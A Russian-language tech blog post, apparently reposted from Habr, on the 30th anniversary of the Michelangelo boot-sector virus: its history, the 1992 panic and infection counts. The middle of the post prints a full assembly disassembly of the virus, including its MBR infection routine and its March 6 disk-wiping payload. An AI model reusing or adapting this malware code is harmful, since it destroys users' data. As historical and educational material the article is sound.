Вирусу Микеланджело — 30 лет

от автора

Michelangelo — первое вредоносное ПО, которое получило широкую огласку в новостных СМИ. Одним из первых его заметил владелец компьютерного магазина в австралийском Мельбурне. После установки нескольких программ на мониторе появилось большое количество странных символов. Дальнейшее расследование показало, что он невольно загрузил вирус в систему. 6 марта 1992 года вирус активировался, перезаписав данные на жёстком диске компьютеров, которые были заражены.

Исследователи выяснили, что Michelangelo заражал загрузочные сектора гибких дискет и жёстких дисков. Интересно, что весь год DOS-вирус вёл себя пассивно, вредя людям только 6 марта. Если компьютер в этот день был выключен, с ним ничего не происходило. Каждый год в этот день при загрузке инфицированной системы «Микеланджело» записывал произвольные данные в случайном порядке на диск и тем самым выводил компьютер из строя. Поскольку 6 марта — день рождения великого художника эпохи Возрождения Микеланджело, вирус был назван в его честь. Другие его названия: Stoned.March6.a и Stoned.Michelangelo

Никто так и не узнал, кто написал вирус. Предполагается, что он появился где-то на Тайване, но убедительных доказательств этому так и не было. Выяснилось, что Michelangelo уничтожает загрузочные сектора дисков, что, в свою очередь, приводит к уничтожению данных на диске и жёстком диске компьютера.

Принцип работы

«Микеланджело» — вирус загрузочного сектора, разновидность вредоносного ПО, которое заражает загрузочный сектор жёсткого диска или, что более важно, основную загрузочную запись (MBR) жёсткого диска. Вирус был разработан для заражения DOS систем и работал на уровне BIOS. Заразив компьютер AT или PS/2, Michelangelo перезаписывал первые сто секторов жёсткого диска нулями.

Микеланджело был основан на вирусе Stoned , который известен с 1987 года и также известен под названием Marijuana или New Zealand Virus. Код вируса был изменён, чтобы антивирусные программы не могли его распознавать.

При работе с заражённым носителем данных Микеланджело резервирует два килобайта системной памяти по адресу 40h: 13h. Затем код вируса копируется в эту область. При наличии жёсткого диска вирус считывает MBR и проверяет, не заражён ли он. Затем, Микеланджело сравнивает первые 4 байта главного загрузочного сектора с первыми байтами своего собственного кода. Если они не совпадают, вирус пытается заразить устройство.

  • На жёстких дисках вирус перемещает исходную главную загрузочную запись в цилиндр 0, головку 0, сектор 7.

  • На гибких дисках, если диск равен 360 КБ, вирус перемещает исходный загрузочный сектор в цилиндр 0, головку 1, сектор 3.

  • На других дисках вирус перемещает исходный загрузочный сектор в цилиндр 0, головку 1, сектор 14.

Хотя вирус предназначен для заражения DOS-систем, он может легко разрушить другие операционные системы, поскольку заражает главную загрузочную запись жёсткого диска. Как только компьютер заражается  любая вставленная дискета, на которую выполняется запись (в 1992 году вирус не мог заразить дискету до тех пор, пока не будет дан доступ к диску), также немедленно заражается. А поскольку вирус проводит большую часть своего времени в спящем состоянии, активируясь только 6 марта, вполне возможно, что заражённый компьютер мог годами оставаться незамеченным — до тех пор, пока не будет включён шестого марта.

Код Michelangelo
; This is a disassembly of the much-hyped michelangelo virus. ; As you can see, it is a derivative of the Stoned virus.  The ; junk bytes at the end of the file are probably throwbacks to ; the Stoned virus.  In any case, it is yet another boot sector ; and partition table infector.  michelangelo    segment byte public assume  cs:michelangelo, ds:michelangelo ; Disassembly by Dark Angel of PHALCON/SKISM org     0  jmp     entervirus highmemjmp      db      0F5h, 00h, 80h, 9Fh maxhead         db      2                       ; used by damagestuff firstsector     dw      3 oldint13h       dd      0C8000256h  int13h: push    ds push    ax or      dl, dl                  ; default drive? jnz     exitint13h              ; exit if not xor     ax, ax mov     ds, ax test    byte ptr ds:[43fh], 1   ; disk 0 on? jnz     exitint13h              ; if not spinning, exit pop     ax pop     ds pushf call    dword ptr cs:[oldint13h]; first call old int 13h pushf call    infectdisk              ; then infect popf retf    2 exitint13h:     pop     ax pop     ds jmp     dword ptr cs:[oldint13h]  infectdisk: push    ax push    bx push    cx push    dx push    ds push    es push    si push    di push    cs pop     ds push    cs pop     es mov     si, 4 readbootblock: mov     ax,201h                 ; Read boot block to mov     bx,200h                 ; after virus mov     cx,1 xor     dx,dx pushf call    oldint13h jnc     checkinfect             ; continue if no error xor     ax,ax pushf call    oldint13h               ; Reset disk dec     si                      ; loop back jnz     readbootblock jmp     short quitinfect        ; exit if too many failures checkinfect: xor     si,si cld lodsw cmp     ax,[bx]                 ; check if already infected jne     infectitnow lodsw cmp     ax,[bx+2]               ; check again je      quitinfect infectitnow: mov     ax,301h                 ; Write old boot block mov     dh,1                    ; to head 1 mov     cl,3                    ; sector 3 cmp     byte ptr [bx+15h],0FDh  ; 360k disk? je      is360Kdisk mov     cl,0Eh is360Kdisk: mov     firstsector,cx pushf call    oldint13h jc      quitinfect              ; exit on error mov     si,200h+offset partitioninfo mov     di,offset partitioninfo mov     cx,21h                  ; Copy partition table cld rep     movsw mov     ax,301h                 ; Write virus to sector 1 xor     bx,bx mov     cx,1 xor     dx,dx pushf call    oldint13h quitinfect: pop     di pop     si pop     es pop     ds pop     dx pop     cx pop     bx pop     ax retn entervirus: xor     ax,ax mov     ds,ax cli mov     ss,ax mov     ax,7C00h                ; Set stack to just below mov     sp,ax                   ; virus load point sti push    ds                      ; save 0:7C00h on stack for push    ax                      ; later retf mov     ax,ds:[13h*4] mov     word ptr ds:[7C00h+offset oldint13h],ax mov     ax,ds:[13h*4+2] mov     word ptr ds:[7C00h+offset oldint13h+2],ax mov     ax,ds:[413h]            ; memory size in K dec     ax                      ; 1024 K dec     ax mov     ds:[413h],ax            ; move new value in mov     cl,6 shl     ax,cl                   ; ax = paragraphs of memory mov     es,ax                   ; next line sets seg of jmp mov     word ptr ds:[7C00h+2+offset highmemjmp],ax mov     ax,offset int13h mov     ds:[13h*4],ax mov     ds:[13h*4+2],es mov     cx,offset partitioninfo mov     si,7C00h xor     di,di cld rep     movsb                   ; copy to high memory ; and transfer control there jmp     dword ptr cs:[7C00h+offset highmemjmp] ; destination of highmem jmp xor     ax,ax mov     es,ax int     13h                     ; reset disk push    cs pop     ds mov     ax,201h mov     bx,7C00h mov     cx,firstsector cmp     cx,7                    ; hard disk infection? jne     floppyboot              ; if not, do floppies mov     dx,80h                  ; Read old partition table of int     13h                     ; first hard disk to 0:7C00h jmp     short exitvirus floppyboot: mov     cx,firstsector          ; read old boot block mov     dx,100h                 ; to 0:7C00h int     13h jc      exitvirus push    cs pop     es mov     ax,201h                 ; read boot block mov     bx,200h                 ; of first hard disk mov     cx,1 mov     dx,80h int     13h jc      exitvirus xor     si,si cld lodsw cmp     ax,[bx]                 ; is it infected? jne     infectharddisk          ; if not, infect HD lodsw                           ; check infection cmp     ax,[bx+2] jne     infectharddisk exitvirus: xor     cx,cx                   ; Real time clock get date mov     ah,4                    ; dx = mon/day int     1Ah cmp     dx,306h                 ; March 6th je      damagestuff retf                            ; return control to original ; boot block @ 0:7C00h damagestuff: xor     dx,dx mov     cx,1 smashanothersector: mov     ax,309h mov     si,firstsector cmp     si,3 je      smashit mov     al,0Eh cmp     si,0Eh je      smashit mov     dl,80h                  ; first hard disk mov     maxhead,4 mov     al,11h smashit: mov     bx,5000h                ; random memory area mov     es,bx                   ; at 5000h:5000h int     13h                     ; Write al sectors to drive dl jnc     skiponerror             ; skip on error xor     ah,ah                   ; Reset disk drive dl int     13h skiponerror: inc     dh                      ; next head cmp     dh,maxhead              ; 2 if floppy, 4 if HD jb      smashanothersector xor     dh,dh                   ; go to next head/cylinder inc     ch jmp     short smashanothersector infectharddisk: mov     cx,7                    ; Write partition table to mov     firstsector,cx          ; sector 7 mov     ax,301h mov     dx,80h int     13h jc      exitvirus mov     si,200h+offset partitioninfo ; Copy partition mov     di,offset partitioninfo      ; table information mov     cx,21h rep     movsw mov     ax,301h                 ; Write to sector 8 xor     bx,bx                   ; Copy virus to sector 1 inc     cl int     13h ;*              jmp     short 01E0h db      0EBh, 32h               ; ?This should crash? ; The following bytes are meaningless. garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h partitioninfo:  db      42h dup (0) michelangelo    ends end

Истерия в обществе

Поскольку опасность была вовремя обнаружена, «Микеланджело» не вызвал заметных проблем в год своего открытия. Постепенно он распространился по всему миру. Исследования в Европе показали, что вирус в основном распространялся через диски с драйверами для компьютерной техники из Восточной Азии, и по мере приближения 6 марта 1992 года среди владельцев и пользователей компьютеров царила нарастающая истерия. 

Это была бомба замедленного действия, которую легко было описать в новостях. И эта история стала идеальным сюжетом для запугивания публики. Принял участие в запугивании публики и Джон Макафи, который заявил в интервью, что сотни тысяч компьютеров по всему миру станут 6 марта жертвами Michelangelo.Совет по борьбе со зловредом был весьма необычным: пользователям рекомендовали не включать компьютер 6 марта или перевести дату сразу на седьмое марта.

Хотя компьютеры в те времена были далеко не у всех, существовал большой спрос на детекторы вирусов и антивирусное ПО. Компьютерные магазины предлагали эти программы бесплатно, как и некоторые вузы. Гамбургский университет насчитал более 20 000 запросов на такие программы за несколько недель до 6 марта 1992 года. 

Особенно активно следили за происходящим в Германии и США. Федеральное управление по информационной безопасности (BSI) в период с 17 февраля 1992 г. по 1 марта 1992 г. приняло около 1000 звонков по общим и конкретным вопросам, касающимся компьютерных вирусов и антивирусных программ. Было вынесено официальное предупреждение об угрозе. В феврале 1992 года появилась инструкция по защите от Микеланджело.

До «дня X» Michelangelo поразил 1300 компьютеров в ФРГ, но эксперты считают, что реальное число в 10 раз больше. Никто не знает, сколько ПК пострадало во всем мире. 6 марта 1992 г. утренние новости в Германии сообщили о первых инцидентах с вирусом в Уругвае. Системное время на некоторых военных компьютерах было установлено неправильно, поэтому полезная нагрузка Микеланджело сработала преждевременно. Также известно, что вирус вызвал потерю данных примерно на 1500 компьютерах в Германии. Сообщается, что в Великобритании пострадали 117 ПК. В Соединённых Штатах, где истерия была самой большой, зафиксировано около 7000 жалоб. McAfee сообщила о почти 10 000. В Южной Африке обнаружили около 1000 заражённых компьютеров в аптеках, который получали прейскуранты в электронном виде. Оптовик как обычно отправил им дискеты, которые оказались заражены вирусом.

В целом, панические настроения не оправдались, всё прошло относительно спокойно. Symantec AntiVirus Research Center утверждает, что после 6 марта 1992 года известно всего о двух случаях заражения компьютеров Michelangelo. По другим данным, в Германии зафиксировали 50 инцидентов с вирусом в 1993 году и менее 20 — в 1994 году.

«Микеланджело» не был первым компьютерным вирусом. Но стал первым, кто заставил широкую общественность узнать о хаосе, который могут вызвать вредоносные программы. Это событие стало мощным толчком к зарождению полноценной антивирусной индустрии. Например, компания McAfee привлекла инвестиции в размере 42 млн долларов, а владельцы компьютеров по всему миру бросились скупать антивирусные продукты McAfee.

P.S. Возможно, вы заметили, что в фильме «Хакеры» 1995 фигурирует вирус «Да Винчи» — название явно было отсылкой к Michelangelo.


Что ещё интересного есть в блоге Cloud4Y

→ История Game Genie — чит-устройства, которое всколыхнуло мир

→ Сделайте Linux похожим на Windows 95

→ Как не позволить техническому долгу одолеть вас

→ WD-40: средство, которое может почти всё

→ 30 лучших Python-проектов на GitHub на начало 2022 года

Подписывайтесь на наш Telegram-канал, чтобы не пропустить очередную статью. Пишем только по делу.


ссылка на оригинал статьи https://habr.com/ru/company/cloud4y/blog/654937/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *